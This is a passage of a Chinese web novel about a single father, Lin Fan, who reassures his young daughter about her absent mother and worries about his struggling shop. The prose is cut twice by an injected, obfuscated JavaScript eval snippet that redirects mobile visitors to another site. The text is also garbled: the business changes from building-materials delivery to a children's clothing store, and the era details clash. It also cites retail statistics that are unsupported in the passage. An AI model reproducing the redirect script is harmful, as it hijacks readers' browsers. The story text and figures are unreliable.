爸爸会给笑笑买娃娃,会给笑笑做蛋糕,会一直陪着笑笑……”他的声音有点抖,连他自己都没发现,拍着笑笑后背的手,也在轻轻颤着。 这个问题,像一把淬了冰的**,猝不及防地扎进林凡心口—— 比上次扛着50斤重的建材爬六楼时,被生锈的铁皮蹭破手掌的疼还要钻心,那疼里还裹着水泥灰的凉,此刻心口的疼却带着闷烧的热,从喉咙一直堵到眼眶。 他垂眼看向女儿笑笑,那张小脸皱成一团,鼻尖通红得像沾了晨露的樱桃,攥着他牛仔裤衣角的小手指节泛白; 指甲缝里还嵌着下午在幼儿园玩沙子时沾的细土,指腹反复抠着裤腿上磨出的毛边,微微发抖的模样,瞬间勾起了两辈子都烙在骨血里的记忆碎片。 前世的那个梅雨季,天像破了个洞,雨丝密得能织成网,空气里飘着老墙霉斑的味道。 他为了赶一个能多挣两千块的项目方案,让五岁的笑笑独自在小区楼下等他回家。 孩子抱着刚画好的“爸爸和我”的蜡笔画,画里爸爸的头发是用棕色蜡笔涂的硬块,笑笑的裙子是歪歪扭扭的粉色,她追着一只瘸了右前腿的流浪猫跑出了监控范围—— 那只猫总在垃圾桶旁找吃的,笑笑前几天还偷偷把火腿肠掰成小块喂它。 等他疯了似的踹开小区每一处灌木丛、跑遍三条街的派出所时,笑笑已经倒在被雨水泡软的草地上,浅绿色的外套沾满泥水,小手还紧紧攥着那幅画,粉色的裙角泡得发皱; 画里爸爸的脸被泥水晕成了模糊的棕团。那份从骨髓里渗出来的愧疚,成了他往后十年午夜梦回时的冷汗与嘶吼,每次惊醒,枕头都湿得能拧出水,耳边总响着笑笑喊“爸爸”的奶声。 所以今生重来,他毅然带着笑笑自己创业,哪怕从零开始做建材配送,每天扛着冰凉的水管、边缘硌人的瓷砖在各个小区间奔波,肩膀被货带勒出红印子; 晚上累得连脱鞋都要靠脚蹭,也坚持每天带着笑笑在身边,小心翼翼的守护着。 晚上给她讲《小熊的爸爸》睡前故事,哪怕嗓子哑得像吞了砂纸,也会模仿小熊爸爸的粗嗓门。 他所有的咬牙坚持,不过是想把前世欠女儿的“陪伴”,像补衣服上的破洞一样,一点一点用针脚缝回来。 可苏晚晴的离开,像在这好不容易拼凑的温暖里,又划开了一道深痕,冷风裹着冰碴子往里灌。 笑笑1岁那年冬天,屋子里的暖气管道坏了,窗户玻璃上结着薄霜,林凡把仅有的两床被子都裹在笑笑身上,可孩子还是烧到了39度,小脸烫得像烤红薯。 他抱着孩子往医院跑,羽绒服里揣着的几十块钱皱得像酸菜叶,是他昨天送完最后一趟瓷砖,老板临时结的工钱。 苏晚晴坐在冰冷的沙发上,指尖冻得发紫,看着病历单上“两百八十元”的缴费金额,眼泪砸在纸上,晕开一小片墨痕: “林凡,我跟着你,没穿过一件好衣服,去年冬天那件棉袄还是地摊上淘的二手货;没吃过一顿安稳饭,顿顿不是泡面就是咸菜;连孩子生病都要凑钱,这样的日子我看不到头!” 她的声音里带着哭腔,还有压抑了很久的疲惫,像一根绷到极致的弦,终于断了。 第二天清晨,林凡醒来时,只看到桌上一张写着“我去南方打工,别找我”的字条,字迹潦草,末尾还沾了一点墨水,苏晚晴的行李箱不见了—— 那是他们结婚时买的红色行李箱,边角已经磨掉了漆,他当时还说要攒钱给她换个新的,现在却连影子都没了。 那时候他才知道,成年人的离别,有时连一句正式的告别都没有,就像秋天的叶子,风一吹,就悄无声息地落了。 此刻,笑笑仰着泫然欲泣的小脸,眼神里的委屈像蓄满了水的小池塘,睫毛上挂着的泪珠像刚结的露珠,轻轻眨一下就会掉下来,让林凡的心脏揪得发紧,几乎喘不过气。 他想起上周带笑笑去公园玩,公园门口的梧桐叶落了一地,有个妈妈正蹲下来给孩子整理粉色的围巾,围巾上挂着小铃铛,一动就叮当作响,妈妈手上的银镯子也跟着晃; 孩子把脸埋进妈妈怀里,手里还拿着一块没吃完的草莓蛋糕。笑笑盯着那一幕看了好久,小手悄悄拉了拉他的衣角,声音小得像蚊子叫:“爸爸,为什么别的小朋友都有妈妈抱呀?” 当时他只能含糊地说“妈妈在忙”,却没料到孩子把疑问攒在心里,像攒糖纸一样,直到今天才小心翼翼地拿出来。 他该怎么回答? 告诉笑笑,妈妈是因为受不了穷、看不到希望才走的? 那孩子会不会低头看自己洗得发白的小鞋子,觉得“是我不够好,妈妈才不要我”? 还是像小区里另一个单亲爸爸那样,编“妈妈去国外当宇航员”的谎话? 他的手不自觉地发抖,指节因为用力而泛白,喉咙发紧得像塞了一团棉花,突然想起之前特意在旧书摊上买的《3-6岁儿童心理疏导》; 书页已经被他翻得卷了边,里面有一行用铅笔划出来的字: “孩子面对分离焦虑时,需要的是安全感而非真相,过度坦诚的残酷会摧毁他们对世界的信任。”那行字的旁边,他还写了个小小的“笑”字,是提醒自己要为了笑笑忍住真相的锋利。 短暂的慌乱后,林凡强迫自己冷静下来。 他深吸一口气,鼻腔里钻进自己身上的建材味—— 有水泥的灰味,还有瓷砖的冷味,他用还带着这些味道的手轻轻抚平笑笑皱起的衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607518|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角,指尖蹭过孩子衣服上绣的小兔子,生怕把那绒毛蹭掉。 然后小心翼翼地把她抱起来——笑笑现在3岁半,体重28斤,他每天扛货练出的臂力,能轻松扛起百斤的瓷砖,可抱着女儿时,却总怕力气太大弄疼她,手臂微微收着; 像托着易碎的玻璃,他走到窗边的藤椅上坐下,藤椅的扶手被磨得发亮,是前房东留下的老物件,坐上去会发出轻微的“吱呀”声。 他让笑笑跨坐在自己腿上,用外套把她小小的身体裹紧,外套上还留着外面的寒气,却被女儿的体温慢慢焐热,他能清晰地感受到女儿因为委屈而微微发抖的肩膀,像寒风里瑟缩的小树苗。 “笑笑,”林凡的声音有些沙哑,像是被砂纸磨过,每说一个字都带着涩意,他刻意放慢语速,让语气尽量平稳,“妈妈……妈妈去了一个很远很远的地方工作。” 他选了个模糊却不算说谎的说法—— 苏晚晴确实去了南方的电子厂,上次托老乡打听时,老乡说在东莞的一家手机配件厂里见过一个跟苏晚晴很像的女人; 扎着低马尾,手上戴着一个银色的戒指,只是没敢上前确认,怕认错了让人笑话。 “很远……是多远呀?” 笑笑的抽噎声像小锤子似的,一下下敲在林凡心上,她小脑袋靠在他胸口,温热的呼吸透过薄衬衫传过来; 带着刚哭过的鼻音,还有一点下午吃的橘子味,“比爸爸带我去市里动物园,还要远吗?” 林凡的心软了一下,像被温水泡过的棉花。 上次带笑笑去动物园,公交车是绿色的旧车,座位上的皮革裂了小缝,孩子趴在车窗上看了一路的麻雀,小手指着窗外飞过的鸟,嘴里不停喊“爸爸你看”; 回来后还画了幅“公交车和大象”的画,大象的鼻子画得像滑梯,公交车的轮子是歪的,贴在冰箱门上,旁边还贴了一张她自己剪的小红花。 他轻轻拍着笑笑的背,手掌蹭过孩子柔软的毛衣,声音放得更柔:“比那个远多啦。妈妈去的地方,要坐一天一夜的绿皮火车,火车里有泡面的香味,还有人打呼噜的声音; 还要转两次长途汽车——就像咱们去年去乡下外婆家那样,你记得外婆家要坐3小时火车对不对?妈妈去的地方,还要再远三倍呢,火车要走好久好久,才能到。” 笑笑眨了眨挂着泪珠的眼睛,泪珠像小珍珠一样滚下来,落在林凡的衬衫上,晕开一小片湿痕。 她小手指在林凡的胸口画着圈,指甲轻轻蹭着他衬衫上的纹路,好像在计算那到底是多少个“公交车路程”,过了好一会儿才小声问:“那……妈妈会回来吗?” 这个问题像一根细针,猝不及防地扎进林凡的心脏,比上次被建材划伤手掌还要疼,疼得他呼吸都慢了半拍。 他的记事本里还夹着苏晚晴的号码,号码旁用铅笔写的备注还是“晚晴”,纸边都被反复摩挲得发毛。 每个月路过巷口的公用电话亭,他都忍不住停脚,手攥着硬币在兜里攥出冷汗—— “你还好吗?”“笑笑想你了”“钱够不够用”,这些话在心里滚了又滚,终究没敢拨通那串数字。 从苏晚晴走后,那个号码他拨过三次,前两次是忙音,第三次接通后只剩“您拨打的号码已停用”的机械提示。 他甚至托过三个南下打工的老乡帮忙找,可南方的工厂那么多,像大海里的沙子一样,毫无音讯。 **苏晚晴现在过得怎么样,是不是还穿着那件二手棉袄,有没有吃到热乎饭,更不知道她是否还记得有个女儿,每天晚上都会问“妈妈什么时候回来”。 但他不能掐灭女儿眼里的光。 林凡捧着笑笑的小脸,指腹蹭过孩子柔软的脸颊,看着她那双跟苏晚晴一模一样的、盛满希冀的眼睛—— 眼尾微微上翘,像小月牙,他用无比肯定的语气说: “会的。妈妈只是去做很重要的工作, 等她把事情做完了,赚够了钱,一定会回来看笑笑的。 因为妈妈和爸爸一样,最喜欢笑笑了,比喜欢草莓棉花糖还喜欢。” 这是个善意的谎言,却是他在无力的现实面前,能给女儿的唯一支撑—— 第五十三章 寻找的欲望 “真的吗?” 笑笑的声音还是带着浓浓的鼻音,但眼神里多了点光亮,像乌云里透出的阳光。 她伸出小手,轻轻摸了摸林凡下巴上刚冒出来的胡茬,指尖被扎了一下,缩了缩又伸过来,好像这样就能从爸爸身上找到勇气,“爸爸不骗人?” “真的,爸爸保证。” 林凡用力点头,下巴上的胡茬蹭到笑笑的小手,孩子咯咯地笑了一声,又很快收住。 他用指腹轻轻擦去笑笑脸颊上的泪珠,那泪珠带着孩子的体温,落在他手背上,烫得他心口发疼,像揣了个小火炉。 “在妈妈回来之前,爸爸会加倍加倍地爱笑笑,每天都陪在笑笑身边。你看,王猛叔叔上周还特意请假,带你去游乐园坐旋转木马,旋转木马的灯亮起来的时候,你还说像星星对不对? 他还买了你最爱的草莓棉花糖,你吃了一脸的糖霜,王猛叔叔还帮你擦了脸;还有楼下的张奶奶,每天早上都给你煮溏心蛋,蛋黄流出来的时候; 你总说像小太阳,张奶奶还说笑笑长身体要多吃营养的东西,上次你感冒,张奶奶还熬了姜茶给你喝,你嫌辣,张奶奶还加了冰糖,对不对?” 笑笑听到“旋转木马”和“溏心蛋”,小嘴巴抿了抿,嘴角微微翘起来,似懂非懂地点了点头,然后把小脸重新埋进林凡的怀里,小胳膊紧紧抱着他的脖子,声音闷闷的: “笑笑……还是想妈妈……想妈妈抱我睡觉……妈妈抱我的时候,会拍我的背,还会唱儿歌……” 林凡的眼眶瞬间湿热了,眼泪差点掉下来,他赶紧把头抬起来,看着天花板上的旧灯泡,灯泡上蒙着一层灰,昏黄的光落在他脸上。 他收紧手臂,把女儿紧紧抱在怀里,下巴轻轻抵着她柔软的头顶,能闻到她头发上淡淡的洗发水香味—— 那是他特意在超市买的儿童专用款,包装上印着小雏菊,笑笑说“像小雏菊的味道”,每次洗完头,都要让他闻闻“香不香”。 他轻轻拍着笑笑的背,像哄她睡觉时那样,小声哼起苏晚晴以前常唱的儿歌: “月儿明,风儿静,树叶儿遮窗棂啊……” 他的调子有点跑,却还是坚持哼着,手指轻轻理顺笑笑有点炸毛的头发。 “好……” 笑笑的声音越来越低,带着浓浓的鼻音,渐渐没了动静,呼吸也变得均匀起来。 林凡低头一看,孩子已经睡着了,长长的睫毛上还挂着一颗没掉的泪珠,小嘴角却微微翘着,像是在做一个有妈妈的梦,梦里妈妈正抱着她,唱着儿歌。 窗外的路灯透过窗帘缝隙,在地上投下淡淡的光斑,像撒了一把碎月亮。 林凡抱着笑笑,坐在藤椅上轻轻晃动,不敢起身,怕吵醒怀里的孩子,藤椅“吱呀”的声音,像在陪他一起守着这个安静的夜晚。 他看着女儿熟睡的小脸,心里暗下决心:下个月建材市场进入旺季,他多接几单配送,争取攒够钱; 等年底,就换个带阳台的房子,让笑笑能在阳台上种她喜欢的小雏菊,她上次在花店看到小雏菊,眼睛都亮了,还问“能不能种在咱们家”。 至于那个关于“妈妈回来”的谎言, **要圆多久,但他会努力让这个谎言变得“可信”—— 就像他努力把日子过好一样,每天多扛一趟货,多攒一块钱, 总有一天,他能让笑笑在爱里长大,能坦然地告诉她所有真相,而那时的笑笑, 一定已经足够坚强, 能理解成年人世界的无奈与遗憾,就像理解秋天的叶子会落,春天的花会开一样。 林凡坐在店铺角落的旧藤椅上,藤条被岁月磨得泛出浅棕的柔光,缝隙里卡着半片上周修货架时掉落的木屑—— 浅黄的木茬还带着点松木的淡香,是他前几天用砂纸磨货架边缘时蹭下来的。 他怀里抱着熟睡的女儿笑笑,背脊挺得笔直,却又透着难以掩饰的僵硬:右肩微微下沉,左手下意识托着笑笑的腰,指节因为长时间发力泛出青白—— 那是昨夜抱着发烧刚退的笑笑坐了半宿落下的酸痛,更怕稍一动,就会惊醒怀里这颗呼吸都轻得像羽毛的小小心灵。 笑笑才三岁半,小脸蛋圆嘟嘟的,睫毛像两把沾了晨露的小蝶翼,每呼吸一次就轻轻颤一下,眼角的泪痕没完全干透,在斜照的阳光里泛着细碎的光,像撒了点碎玻璃渣—— 那是今早醒来没看见妈妈,坐在床边抱着布娃娃哭花的,眼泪还沾了几根娃娃的白绒毛在脸颊上。 她的小手还没完全长开,指节圆圆的,紧紧攥着林凡的卡其布衣角,指缝里夹着半张皱巴巴的素描纸,是没画完的全家福: 纸上的自己扎着羊角辫,手里攥的糖葫芦用红蜡笔涂得冒尖,连糖霜的纹路都画得歪歪扭扭;爸爸穿蓝色工装,胸前别着笑笑画的小红花,花瓣边缘被小手指捻得起了**; 唯独妈妈的位置,只画了个空心的圆圈,圆圈旁边用铅笔歪歪扭扭写着“MAMA”,两个字母被橡皮擦过好几次,纸都薄得快透了——这还是她前几天跟着巷口的小学生抽空学的。 窗外的阳光透过蒙着点灰尘的玻璃,斜斜切进店里,在货架上投出长条的光斑。货架上摆着老式台秤,铁秤砣泛着冷光; 螺丝刀的金属柄反光晃了林凡一下,他下意识眯了眯眼,再看时,连最上层那把生了锈的旧门锁都泛着暖光—— 锁芯里的铁锈红得发暗,是去年从废品站收来的旧货,笑笑总爱用小手指抠锁孔玩。货架最外侧摆着几卷透明绝缘胶带,胶带纸边缘被笑笑撕得****躁躁,翘起来的碎边粘了点灰; 那是她昨天蹲在旁边“帮忙”时的杰作:当时她踮着脚够胶带,差点摔在地上,林凡扶住她时,她还举着撕下来的小胶带片说“爸爸,贴贴”。 可这明媚的光像隔了一层雾,风从敞开的店门吹进来,带着巷口早点摊的油条香,却怎么也透不进林凡发沉的心里。 昨天傍晚带笑笑在巷口玩,老陈头推着自行车来卖糖葫芦,车后座绑着块木板,上面插着密密麻麻的草靶子,草莓的、山楂的糖葫芦裹着晶莹的糖霜,用玻璃纸包着,风一吹,甜香裹着热气飘过来。 笑笑盯着看了半天,突然看见邻居家的朵朵被妈妈抱在怀里,咬下一颗草莓糖葫芦时,糖霜还沾在嘴角。 她猛地仰起头拽林凡的衣角,小手套蹭得林凡的工装裤沙沙响:“ 爸爸,妈妈是不是也喜欢吃草莓味的糖葫芦呀?上次你买的,我留了一颗放冰箱最里面,现在还没化呢!她什么时候回来,我们一起吃好不好?” 那一刻,林凡的喉咙像被一团热棉花堵住,酸意从胸腔往眼眶里涌,连鼻尖都麻了。 他蹲下来把女儿搂进怀里,手指轻轻摩挲她冻得发红的小耳朵——耳尖凉得像冰块,边缘还有点起皮,是早上忘给她戴耳罩了。 他张了张嘴,想说话却发不出完整的声音,只能把脸埋在笑笑的围巾里,闻着围巾上淡淡的肥皂香味(是巷口供销社买的“蜂花”皂),缓了好一会儿才哑着嗓子说: “会的,妈妈会回来的。” 他想起前阵子从社区图书室借的《幼儿教育手册》,书皮是蓝绿色的,被翻得有点卷边,里面夹着他用铅笔划的线: 3岁多的孩子正是粘人的时候,得多陪他们说话、玩游戏,要是少了亲人陪伴,容易闹情绪。当时他还在旁边写了句“每天陪笑笑画半小时画”, 可如今每一个字都像针,扎在他发紧的心上——尤其是看到笑笑攥着的全家福,那个空心圆圈像个洞,漏着风。 苏晚晴离开快三年了,没留下一句解释,只带走了衣柜里的几件衣服和常用的米色帆布包; 包上还有笑笑用马克笔画的小爱心,当时她还说“妈妈的包要漂漂亮亮的”。 她的桃木梳子还放在卫生间的台面上,梳背有几道细小的划痕,是以前笑笑抓着玩时摔的,齿缝里缠着几根染过的栗色长发; 比笑笑的头发粗一点,林凡每天打扫时都会用指尖轻轻拨掉梳子上的灰尘,却舍不得碰那几根头发,怕一碰就掉了; 笑笑小时候穿的粉色连衣裙还挂在衣柜最上层,布料有点泛黄,领口的蕾丝花边是苏晚晴怀孕时挺着肚子缝的,针脚歪歪扭扭,有几处还打了小结—— 当时她缝到一半就累得喘气,说“等笑笑穿了,妈妈再补好看点”,可到现在也没补; 就连厨房的调料架上,薄荷绿的盐罐还是苏晚晴喜欢的款式,罐身贴着笑笑画的小太阳贴纸,边角翘了起来; 里面的盐还剩半罐,每次林凡放盐时,都会想起苏晚晴以前总说“少放盐,笑笑吃多了不好”。 这些痕迹像藤蔓,缠着林凡的每一个日夜: 清晨煮面时会习惯性拿两个碗,拿到第二个时才愣一下,又默默放回去;睡前会拿出苏晚晴留下的旧信纸,想写两句笑笑的近况—— 比如“今天笑笑会数到10了”“她把布娃娃的裙子补了个小补丁”,可笔尖悬了半天,又不知道寄往何方,最后只能折好塞进抽屉深处; 甚至整理笑笑的玩具时,看到那个苏晚晴从供销社买来的布娃娃,都会蹲在地上看半天——娃娃的裙子破了个洞,是笑笑上次玩时勾的,他还没来得及补。 这些都成了他心里拔不掉的刺,更成了笑笑成长路上,他无论怎么努力都绕不开的坎。 王猛从仓库里出来时,裤脚沾了不少铁锈灰,一拍就掉粉,膝盖处还蹭破了一块—— 破口处露出里面灰色的秋裤,边缘有点线头,是早上搬重型扳手时没注意,膝盖磕在货架的角钢上弄的。 他穿的蓝色劳动布工装洗得发白,手里拿着半截没吃完的白面馒头,馒头上还沾着点黄灿灿的咸菜渣,是萝卜干的,是他媳妇早上五点起来蒸的馒头,用纱布包着带来的,还热乎着: “你中午也别饿着,等会儿我去巷口买两碗馄饨。” 王猛是林凡的原工厂工友,国营机械厂,每天在流水线旁站十个小时,耳朵被机器噪音吵得有点背,工资刚够养活一家三口。 去年林凡开这家笑笑宝贝屋,凑完房租就没剩多少钱雇人,当时就找王猛,王猛二话不说,当天就放下蹲三轮车的活来帮忙,其实林凡知道,他是怕自己撑不下去。 平时里里外外的重活王猛都抢着干,搬水管、扛货架,累得满头汗也不说,还总记得帮笑笑带巷口小卖部的棉花糖—— 五分钱一团,他每次都让老板多绕两圈,拿到手时还冒着点热气,笑笑吃得满脸糖霜,王猛就笑着用粗粝的手掌给她擦,说“慢点吃,没人跟你抢”。 看到林凡僵坐在那里的模样,王猛脚步顿了顿,悄悄转身回了里屋。 他记得去年林凡胃出血,就是因为空腹忙了一天,后来他就总在店里备着温白开水,用的是个印着“为人民服务”的搪瓷杯,杯口有个小缺口,是以前搬货时砸的。 倒好水后,他又从抽屉里拿了包苏打饼干放在水杯旁——是香葱味的,供销社买的,林凡胃不好,饿的时候吃点能垫垫,这包还是他昨天特意绕路买的。 水杯放在林凡旁边的小桌上时,王猛只轻轻叹了口气,没说“别难过”,也没问“接下来怎么办”,就像往常无数次那样: 林凡熬夜看店时,他会默默煮一碗泡面,加个鸡蛋;笑笑生病时,他会帮忙看店到深夜,还不忘给林凡留着热粥——他总用最笨的方式,把空间留给这对父女,却把支撑落在实处。 林凡的指尖碰了碰水杯,温意顺着指尖蔓延到手腕,像小暖流,却没驱散心里的沉重。 他太清楚了,苏晚晴的离开不是一场短暂的分别,而是一道会留下印记的伤疤。 或许某天笑笑翻到旧相册里苏晚晴抱着她的照片——照片里苏晚晴穿着白色连衣裙,笑得眼睛弯成缝; 或许春节时看到邻居家一家三口贴春联,妈妈给孩子递胶带,爸爸扶着梯子;这道伤疤就会隐隐作痛,像被冷风刮到。 他想起上周笑笑半夜哭着醒来,小胳膊紧紧搂着他的脖子,指甲轻轻抠着他的衣领,嘴里含混地喊着“妈妈抱,妈妈的手暖暖的”。 他把女儿搂在怀里,用自己的手裹住笑笑冰凉的小手——他的手因为常年拧螺丝磨出了老茧,糙得很; 却还是尽力把她的手焐热,哼着苏晚晴以前常唱的《小星星》,调子有点跑,却一遍又一遍地唱,直到天快亮时,笑笑的呼吸才变得平稳,小眉头也舒展开了。 他低头看着女儿额头上的薄汗,悄悄用袖口擦去——袖口有点脏,是白天搬货蹭的灰,他怕弄疼笑笑,动作轻得像碰棉花。 他能做的,就是把自己活成一座山:白天忙着搬货、接订单,手臂酸了就揉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607519|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两下,继续干;晚上陪笑笑画画、数星星,哪怕累得眼睛都快睁不开,也会把故事讲完(讲的是他小时候听来的“孙悟空打妖怪”)。 他想用尽全力为笑笑筑起一个坚固又温暖的港湾,让她即使没有母亲的陪伴,也能踩着父爱的基石,勇敢地面对往后的风雨。 就在这时,一个模糊的念头突然从心底冒出来,像春天里的小草,蹭蹭地往上长:要不要再试着找找苏晚晴? 上次他托苏晚晴的闺蜜李姐打听消息,李姐在信里犹豫了半天,只说她去了南方,好像在一家服装厂上班,具体在哪、做什么,一概不知。 他还翻出了苏晚晴以前的通讯录,纸都发黄了,照着上面的地址寄了三封信,要么被退回来写着“查无此人”,要么石沉大海,连个回音都没有。 他不是想破镜重圆,毕竟当初她走得那么决绝,连笑笑的生日都没留下一句祝福—— 去年笑笑生日,他从供销社买了个小蛋糕,上面插着三根蜡烛,笑笑吹蜡烛时还说“要等妈妈一起吹”,等了半天也没等来人,最后抱着蛋糕哭着睡着了。 可他看着笑笑怀里攥着的全家福,看着那个空荡荡的圆圈,又忍不住想:至少该让女儿知道,妈妈没有消失,她还在这个世界的某个角落,呼吸着同样的空气,或许也会偶尔想起她。 这样,笑笑每次画全家福时,会不会就不用在妈妈的位置画圆圈,心里的空缺会不会能少一点遗憾? 可这个念头刚冒头,就被林凡狠狠压了下去。 他低头看了看店铺柜台后的订单本,蓝色的封面边角磨破了,里面密密麻麻记着十几家客户的需求: 这时,巷口的李婶隔着门喊:“林凡,张大夫让我再跟你说声,笑笑下周一去社区卫生院体检,别忘了带体检本啊!” 林凡赶紧应了声“知道了,谢谢李婶”,又从抽屉里翻出体检本——封面是红色的,上面写着笑笑的名字,还是苏晚晴以前填的。 他摸了摸封皮,想起上次答应带笑笑去公园放风筝,结果忙着给张叔修水管没去,笑笑委屈得躲在角落哭了好久,他当时心里像被揪着疼,发誓再也不辜负女儿的期待。 寻找苏晚晴太渺茫了,万一找不着,自己跑南跑北浪费时间,谁来照顾笑笑? 万一找着了,她不愿意见女儿,甚至说不认识笑笑,又该怎么跟女儿解释? 难道要告诉笑笑“妈妈不想见你”吗?未知的风险像一张网,密密麻麻裹住他的心脏,让他不敢再往前踏一步。 “爸爸……”笑笑在梦里轻轻呢喃了一声,小脑袋往林凡怀里又蹭了蹭,像只找温暖的小猫。她的小手松开衣角,转而抓住了林凡的手指—— 她的指甲刚被林凡昨晚剪过,圆润光滑,不会刮到自己,指尖还带着点奶香味;林凡的手指上有几道细小的伤口,是昨天拧螺丝时被划的,贴了块胶布,他怕胶布蹭到笑笑,悄悄把受伤的手指往掌心收了收。 林凡赶紧低下头,在女儿带着泪痕的小脸上亲了亲,声音轻得像羽毛: “笑笑,别怕。爸爸在呢,爸爸永远都在。” 他的下巴抵着女儿柔软的头发,鼻腔里满是淡淡的奶香味—— 那是笑笑睡前喝的奶粉味,是从供销社买的“红星”奶粉,还混着点洗发水的清香(也是蜂花牌的),是他昨天给她洗头发时用的。 这味道是他所有的软肋——只要笑笑皱一下眉,他就愿意放下所有事;更是他所有的铠甲——再累再难,只要看到笑笑的笑脸,就觉得能撑下去。 前几天笑笑发烧到39度,小脸烧得通红,嘴唇干得起皮,嘴里一直喊着“冷”。林凡抱着她往社区卫生院跑,凌晨的风刮在脸上像刀子,裹着冷空气往脖子里灌。 他把自己的厚棉袄裹在笑笑身上,拉链拉到顶,只穿一件薄毛衣——毛衣是灰色的,有点起球,风灌进领口,他打了个寒颤,却还是把笑笑抱得更紧,怕她再着凉。 到了卫生院,排队挂号、抽血、取药,他忙前忙后一夜没合眼。天亮时,他看着输液瓶里的药水一滴一滴往下掉,眼睛里全是血丝,连鬓角都冒出了几根白发—— 他以前从不愁白头发,可自从苏晚晴走后,白头发就越来越多。 王猛早上来开店,看到店里没人,赶紧往卫生院跑,进门就看到林凡红着眼圈守在床边,手里还攥着没喝完的热水。 他二话不说,把带来的早餐塞给林凡——豆浆装在保温桶里,还热着;包子是肉馅的,冒着热气。 “你在这看着笑笑,店里有我呢”,他硬把林凡按在椅子上,自己替他看店、帮客户选服装。 那天王猛忙到下午三点才顾上吃午饭,衣服都被汗水浸透了,贴在背上,却还笑着跑回卫生院说“放心,订的服务装都拿走了,笑笑好点没”。 那一刻林凡就明白,父爱或许没有母爱那样细腻温柔,不会记得给孩子梳漂亮的辫子,不会煮出可口的辅食,却像脚下的土地,沉默却坚实—— 他或许不擅长表达,却会用尽全力把最好的都给孩子。他要做笑笑最可靠的那座山,无论刮多大的风、下多大的雨,都稳稳地站在她身后,让她回头时总能看到自己。 至于“妈妈”的答案,林凡想,或许真的该交给时间。 也许等笑笑再长大一点,能听懂“妈妈有自己的难处”这样的道理;也许某天他去南方送货,会在某个街角偶然看到那个熟悉的身影—— 她或许还背着那个米色帆布包,头发还是栗色的;也许王猛说的对,“该来的总会来,眼下把娃照顾好才最实在”。 他低头摸了摸笑笑手里的全家福,轻轻把那张纸抚平——纸上的褶皱太多,他按了好一会儿才平一点,然后小心翼翼地叠好,放进自己的口袋里。 口袋里还有笑笑早上塞的一颗水果糖,糖纸是粉色的,有点粘,和全家福放在一起,像藏着个小小的秘密。 等晚上回家,他要陪笑笑把妈妈的位置画完,哪怕先画一朵小花,也好过空荡荡的圆圈。 眼下,阳光还在货架上淌着,墙上1993年的挂历被风吹得轻轻晃; 王猛在门口整理货物,哼着《在希望的田野上》; 笑笑在怀里睡得安稳,小胸脯一起一伏。 他只要守好这家飘着奶香味的笑笑宝贝屋,守好怀里这个带着奶香味的女儿,就够了。 第五十四章:事业困境 林凡的生活像一辆在锈迹斑斑的双轨上疾驰的旧列车,车轮碾过轨道时发出“哐当哐当”的闷响,每一寸钢轨都沾着事业灼烧后的焦土,还缠着亲情扯不断的牵挂—— 那牵挂细得像风筝线,稍不留意就可能被生活的狂风扯断。 据县商务局2024年一季度零售行业报告显示,县城服装零售业存活率仅62%,较2023年同期下降9个百分点。 其中童装品类因季节更迭快、库存周转周期比成人装短40%(中国连锁经营协会数据),再叠加家长受消费降级影响更倾向“按需购买”,平均利润率较去年同期骤降18%, 不少门店玻璃门上的“转让”告示纸都被春风吹得卷了边,胶水印在门框上积了层灰。在这样的行业寒冬里,林凡的童装生意更显举步维艰—— 县城老街上那家80平米的店铺,是他五年前东拼西凑15万元开的,如今玻璃门上贴着张褪成米白色的“换季特惠”海报,原本鲜黄的字体晕成了淡痕, 边角被春风卷成硬邦邦的筒状,卡着几粒沙尘,露出里面黄白色的胶痕,像块没揭干净的创可贴; 隔壁杂货店“清仓甩卖”的红色横幅倒鲜亮,风吹得横幅边角“哗啦啦”响,和这边的颓败相映成趣。墙面还贴着去年女儿笑笑亲手选的佩奇卡通贴纸,佩奇的粉色鼻子被蹭掉了一块, 右上角卷翘的边儿里积了灰,刚好能看见墙皮因常年潮湿而泛绿的霉点——指甲盖大小,边缘还晕着浅黄,像块难掩的伤疤,就像他此刻的生意一样,连窘迫都藏不住。 刚熬过连日均营业额不足300元的淡季,那段日子里,林凡每天早上七点半开门,第一件事就是摸出收银机旁的旧手机,点开记账APP翻前一天的记录。 初春的店铺没开暖气,手机屏幕凉得硌手,他指尖的老茧蹭过灰色的数字——289元,比300还少11元,指腹忍不住发颤,盯着那串数字愣神好久, 直到街上早点摊的油条香飘进来,才回过神叹口气。 最冷的那周,有天全天只卖出一件29元的灰色打底裤——那是去年的库存款,裤脚的螺纹松得能塞进两根手指,弹性早没了大半。 来买的是住在隔壁巷的张阿姨,裹着件洗得发白的深蓝色棉袄,从布包里掏出个塑料袋,里面裹着三枚1元硬币和两张10元纸币,还带着她手心的温度。 “朵朵去年穿你这买的粉色连衣裙,合身得很,”张阿姨把钱递过来时,指关节因为用力捏着硬币而泛白, “这裤子她穿旧的也不嫌弃,你这店撑着不容易,帮你周转周转。” 林凡攥着那张软塌塌的20元纸币和9枚冰凉的硬币,手心很快浸出了汗,把纸币洇出浅痕—— 他知道张阿姨退休金每月才2800元,上次在菜市场买白菜,还跟摊主砍了五分钟价,这份心意比钱还沉,压得他喉咙发紧。 好不容易盼来的春季新款,却成了新的愁绪。 50件带小熊刺绣的浅灰色加绒外套堆在仓库角落,挤在几个印着“冬季棉袄”的纸箱中间。 